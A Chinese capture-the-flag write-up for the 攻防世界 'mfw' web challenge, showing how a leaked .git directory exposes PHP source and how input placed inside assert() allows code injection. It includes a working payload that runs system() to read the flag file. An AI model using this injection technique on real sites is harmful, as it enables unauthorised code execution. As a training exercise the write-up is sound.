题目信息:

image.png

工具:GitHack,dirsearch

知识点:git漏洞、代码审计

打开题目场景,检查网站,发现这样一个页面

image.png

访问.git目录,疑似存在git源码泄露

image.png

再用dirsearch扫描,发现git源码泄露:

使用 GitHack获取源码

image.png

得到源码

index.php中关键代码如下

if (isset($_GET['page'])) {

$page = $_GET['page'];

} else {

$page = "home";

}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

如果这个字符串中没有找到相应的子字符串 就返回false

// TODO: Make this look nice

assert("file_exists('$file')") or die("That file doesn't exist!");

?>

assert() 检查一个断言是否为 FALSE

strpos() 函数查找字符串在另一字符串中第一次出现的位置。如果没有找到则返回False

file_exists() 函数检查文件或目录是否存在。

assert()函数会将括号中的字符当成代码来执行,并返回true或false。

payload:?page=abc') or system("cat templates/flag.php");//

$file =templates/ abc') or system("cat templates/flag.php");// ".php"

因为在strpos中只传入了abc,所以其肯定返回false,在利用or让其执行system函数,再用" // "将后面的语句注释掉

查看网页源代码

图片.png

攻防世界mfw_攻防世界-Web-mfw相关推荐

  1. 《攻防世界》学习笔记——web篇

    <攻防世界>学习笔记--web篇 01 Robots协议 02 BACKUP 03 Cookie 04 disabled_button(chrome游览器F12指南) 05 弱口令 06 ...

  2. 中国举办的世界园艺博览会概览-web数据可视化(d3.js path)

    1.先看效果. 哔哩哔哩在线解读演示: 中国举办的世界园艺博览会概览-web数据可视化-000006_哔哩哔哩_bilibili 中国举办的世界园艺博览会概览-web数据可视化-000006 截图: ...

  3. 智能工厂4.0:数字世界和物理世界的融合【附下载】

    来源:专知 概要:自动化与控制发展至今,智能工厂逐渐获得关注,并成为制造企业追求的目标. 自动化与控制发展至今,智能工厂逐渐获得关注,并成为制造企业追求的目标.何为智能工厂?它应该是一个柔性系统,能够 ...

  4. 迷你世界 Java_迷你世界VS我的世界,两者之间有何区别?网友:更爱迷你

    近几年来沙盒游戏成为一个火热的存在,如今越来越多的用户开始在这个模块玩乐.而沙盒游戏中迷你世界和我的世界有何区别?难道两者之间真的如人所说前者抄袭后者?关于这个问题,迷你世界和我的世界双方的粉丝们一直 ...

  5. 数字通信世界杂志数字通信世界杂志社数字通信世界编辑部2022年第6期目录

    数字通信世界杂志数字通信世界杂志社数字通信世界编辑部2022年第6期目录 卫星应用     基于天通的海上应急通信系统设计与验证 张宝珍;徐亚冲; 1-3+13     基于用户位置的低轨卫星波束关闭 ...

  6. 体育世界杂志体育世界杂志社体育世界编辑部2022年第4期目录

    体育世界杂志体育世界杂志社体育世界编辑部2022年第4期目录 赛事一览 赛事一览 (0004) 体育社会学 陕体科创荣获杭州亚运会和亚残运会特许零售商资质 (0008) 文/崔莞悦     7月完成草 ...

  7. 小Y看浮屠世界-纸杯世界:含有荧光增白剂的爆米花桶只是冰山一角

    小Y看浮屠世界-纸杯世界:含有荧光增白剂的爆米花桶只是冰山一角 TAG:钢纤维 泡沫混凝土 消声器 在纸杯世界里,还有荧光增白剂的爆米花桶并不是终结,相反只是一根导火索.它引爆了人们疏忽的纸杯的平安问 ...

  8. 认识世界和改造世界 [马原]

    认识世界与改造世界 认识世界 定义 认识世界,就是主体能动地反映客体,获得关于事物的本质和发展规律的科学知识,探索和掌握真理. 认识世界的活动是客观见之于主观,是要认识事物发展的规律性. 如何认识世界 ...

  9. 自己的价值=有你的世界-没有你的世界

    "一个世界有你,一个世界没有你.让两者的不同最大,就是你一生的意义."--李开复 我花了5天读完了这本书.曾经有幸见过一面李开复老师,他一直是我比较佩服的人.最初是因为他是我们领域 ...

  10. 郭光灿院士--奇妙的量子世界笔记1(量子世界和经典世界区联系)

    视频来源: 网易公开课 图片来源:视频中截图 声明:视频只看了一遍,不求甚解,一些地方难免出错还望指正 1.  为什么神奇? 这个神奇是对比经典世界(特点就是确定性),显示出来的量子的特殊性,我们理解 ...

最新文章

  1. 唱好铁血丹心谐音正规_济南公司起名:四个字寓意好的公司名字怎么样选择?...
  2. 15篇最新AI论文推荐新鲜出炉!真的很skr了~(附链接)
  3. [Python]--Anaconda Resources Collection
  4. 学习Kotlin(五)函数与Lambda表达式
  5. bzoj4514[Sdoi2016]数字配对
  6. 检索数据_7_拼接列的值
  7. ASP.NET Core中实现单体程序的事件发布/订阅 - LamondLu - 博客园
  8. oracle 10g冷备份恢复处理详细步骤
  9. Mac如何快速导出保存Pages文档里的图片
  10. 我向面试官讲解了单例模式,他对我竖起了大拇指
  11. java手动调用finalize_Java并手动执行finalize
  12. Navicat - 导入CSV注意事项
  13. RFC2544背靠背测试——信而泰Renix测试软件实操
  14. 分享文章到新浪微博(源码)
  15. 联想V470C 禁用触摸板
  16. 基于TP-LINK(AC1200)主路由器+FAST(FWR303)副路由器的桥接(中继)信号放大
  17. 停止kibana服务
  18. 1,matlab仿真正运动学
  19. Pinyin4j使用手册
  20. python开发office插件_看完这篇Python操作PPT总结,从此使用Python玩转Office全家桶就没有压力了!...

热门文章

  1. Java工作5年的迷茫,是否要转互联网?
  2. org.apache.jasper.servlet.TldScanner.scanJars At least one JAR was scanned f
  3. 分门别类刷leetcode——二叉树和图(C++实现)
  4. 微信公众号 第三方登录 获取微信用户信息(java版)
  5. 北京妙计旅行 后台开发实习一面二面
  6. adb工具的安装与常用命令
  7. 【7gyy】高手分享辨别电脑病毒技巧
  8. Web安全—常见加密编码方式详解(持续更新)
  9. Simulink 中状态的导数不是有限值,仿真将停止,解中可能存在一个奇异点。
  10. 音视频又贵又卡还不够炫?云原生的华为云视频云服务带你重塑新体验